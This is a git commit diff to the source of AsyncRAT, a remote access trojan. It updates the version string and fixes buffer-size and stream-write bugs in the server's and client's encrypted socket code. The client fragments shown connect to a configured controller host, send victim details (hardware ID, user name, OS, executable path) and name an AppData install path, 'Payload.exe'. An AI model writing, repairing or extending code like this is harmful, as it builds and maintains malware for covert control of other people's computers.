UPDATE
This commit is contained in:
parent
c004993293
commit
6557356a14
Binary file not shown.
@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp
|
||||
public static List<Clients> Online = new List<Clients>();
|
||||
public static List<string> Blocked = new List<string>();
|
||||
public static string Port = "6606,7707,8808";
|
||||
public static readonly string Version = "AsyncRAT 0.2.8";
|
||||
public static readonly string Version = "AsyncRAT 0.2.8A";
|
||||
public static long Sent = 0;
|
||||
public static long Received = 0;
|
||||
public static string Password = "NYAN CAT";
|
||||
|
@ -64,7 +64,7 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
Buffer = new byte[Buffersize - 1];
|
||||
Buffer = new byte[Buffersize];
|
||||
BufferRecevied = true;
|
||||
}
|
||||
}
|
||||
@ -80,7 +80,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
try
|
||||
{
|
||||
HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray()));
|
||||
|
||||
}
|
||||
catch (CryptographicException)
|
||||
{
|
||||
@ -153,8 +152,8 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
|
||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
|
||||
MEM.WriteAsync(buffersize, 0, buffersize.Length);
|
||||
MEM.WriteAsync(buffer, 0, buffer.Length);
|
||||
MEM.Write(buffersize, 0, buffersize.Length);
|
||||
MEM.Write(buffer, 0, buffer.Length);
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null);
|
||||
Settings.Sent += (long)MEM.Length;
|
||||
|
@ -9,7 +9,7 @@ namespace Client
|
||||
{
|
||||
public static readonly string Ports = "6606" ;
|
||||
public static readonly string Host = "127.0.0.1" ;
|
||||
public static readonly string Version = "AsyncRAT 0.2.8";
|
||||
public static readonly string Version = "AsyncRAT 0.2.8A";
|
||||
public static readonly string Install = "false";
|
||||
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
||||
public static string Password = "NYAN CAT";
|
||||
|
@ -35,7 +35,7 @@ namespace Client.Sockets
|
||||
ReceiveTimeout = -1,
|
||||
SendTimeout = -1,
|
||||
};
|
||||
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
|
||||
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
|
||||
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
|
||||
Debug.WriteLine("Connected!");
|
||||
Connected = true;
|
||||
@ -78,7 +78,7 @@ namespace Client.Sockets
|
||||
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
||||
msgpack.ForcePathObject("HWID").AsString = HWID();
|
||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
||||
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
||||
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
|
||||
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
||||
@ -128,7 +128,7 @@ namespace Client.Sockets
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
{
|
||||
Buffer = new byte[Buffersize - 1];
|
||||
Buffer = new byte[Buffersize];
|
||||
BufferRecevied = true;
|
||||
}
|
||||
}
|
||||
@ -140,10 +140,10 @@ namespace Client.Sockets
|
||||
if (MS.Length == Buffersize)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray()));
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
Buffer = new byte[1];
|
||||
Buffersize = 0;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
BufferRecevied = false;
|
||||
}
|
||||
else
|
||||
|
Loading…
x
Reference in New Issue
Block a user